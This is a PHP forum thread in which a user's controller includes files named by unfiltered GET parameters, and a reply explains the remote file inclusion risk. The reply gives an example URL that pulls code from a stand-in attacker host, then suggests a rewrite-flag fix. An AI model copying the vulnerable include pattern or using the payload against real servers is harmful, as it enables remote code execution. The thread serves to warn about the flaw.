TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 11-26-2010, 01:08 AM   #1 (permalink)
The Wanderer
 
Join Date: Nov 2010
Posts: 5
Thanks: 0
jwilson122 is on a distinguished road
Help Help with GET

Okay so I'm creating my own framework script, the URL's are gonna be:
controller.php?folder=foldernamehere&page=pagename here

So in the controller.php I have..
PHP Code:
$folder $_GET['folder'];
$page $_GET['page'];
include(
'plugins/'.$folder.'/'.$page.'.php'); 
Then in .htaccess I will do:
Rewrite On
RewriteRule ^(.*)/(.*)\.php$ controller.php?folder=$1&page=$2

Well, works out fine if I access say.. /users/index.php it will display the info perfect! But, on to my issue.
Well, say on that /users/index.php file, I want to get something from the URL... say, /users/index.php?user=bla
Well, it will not work for some reason! Any idea why? I believe its because I already have used it in the .htaccess file, but not sure.. How can I fix it? Thanks a lot!
jwilson122 is offline  
Reply With Quote
Old 11-26-2010, 03:31 PM   #2 (permalink)
The Prestige
Advanced Programmer Top Contributor Good Samaritan 
 
sketchMedia's Avatar
 
Join Date: Oct 2007
Location: Manchester, UK
Posts: 854
Thanks: 32
sketchMedia is on a distinguished road
Default

Two things, first of all the obvious security issues with that script. NEVER just allow user input to be used in scripts without first filtering them. With your example one could enter this into the URL param and be able to execute dangerous code from an external source on your server as if it came from your server, for example:

PHP Code:
include "{$_GET['folder']}/include.php"
If i then do this:
Code:
http://yourserver.com/script.php?folder=http://evilscriptslol.com/evil.inc?
In the PHP this would mean:

PHP Code:
include "http://evilscriptslol.com/evil.inc?/include.php"
Causing no end of problems (assuming allow_url_fopen) is enabled (as it is by default I believe)A simple switch would help mitigate the threat somewhat.

Filter Input Escape Output
- Golden rule of web-development (and most other types of development)

Secondly to your actual problem, try adding [QSA] to the end of your rewrite rule:
Code:
Rewrite On
RewriteRule ^(.*)/(.*)\.php$ controller.php?folder=$1&page=$2 [QSA]
It should then pass any additional url parameters through.
__________________
mysql> SELECT * FROM `users` WHERE `users`.`clue` > 0;
Empty set (0.00 sec)
sketchMedia is offline  
Reply With Quote
Old 11-27-2010, 12:36 AM   #3 (permalink)
The Wanderer
 
Join Date: Nov 2010
Posts: 5
Thanks: 0
jwilson122 is on a distinguished road
Default

Quote:
Originally Posted by sketchMedia View Post
Two things, first of all the obvious security issues with that script. NEVER just allow user input to be used in scripts without first filtering them. With your example one could enter this into the URL param and be able to execute dangerous code from an external source on your server as if it came from your server, for example:

PHP Code:
include "{$_GET['folder']}/include.php"
If i then do this:
Code:
http://yourserver.com/script.php?folder=http://evilscriptslol.com/evil.inc?
In the PHP this would mean:

PHP Code:
include "http://evilscriptslol.com/evil.inc?/include.php"
Causing no end of problems (assuming allow_url_fopen) is enabled (as it is by default I believe)A simple switch would help mitigate the threat somewhat.

Filter Input Escape Output
- Golden rule of web-development (and most other types of development)

Secondly to your actual problem, try adding [QSA] to the end of your rewrite rule:
Code:
Rewrite On
RewriteRule ^(.*)/(.*)\.php$ controller.php?folder=$1&page=$2 [QSA]
It should then pass any additional url parameters through.
Thanks a lot! It says internal server error with your code :/

Quote:
Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, you@example.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.
jwilson122 is offline  
Reply With Quote
Old 11-29-2010, 10:24 AM   #4 (permalink)
The Prestige
Advanced Programmer Top Contributor Good Samaritan 
 
sketchMedia's Avatar
 
Join Date: Oct 2007
Location: Manchester, UK
Posts: 854
Thanks: 32
sketchMedia is on a distinguished road
Default

Should work, can I see your full htaccess.
__________________
mysql> SELECT * FROM `users` WHERE `users`.`clue` > 0;
Empty set (0.00 sec)
sketchMedia is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


All times are GMT. The time now is 02:46 PM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design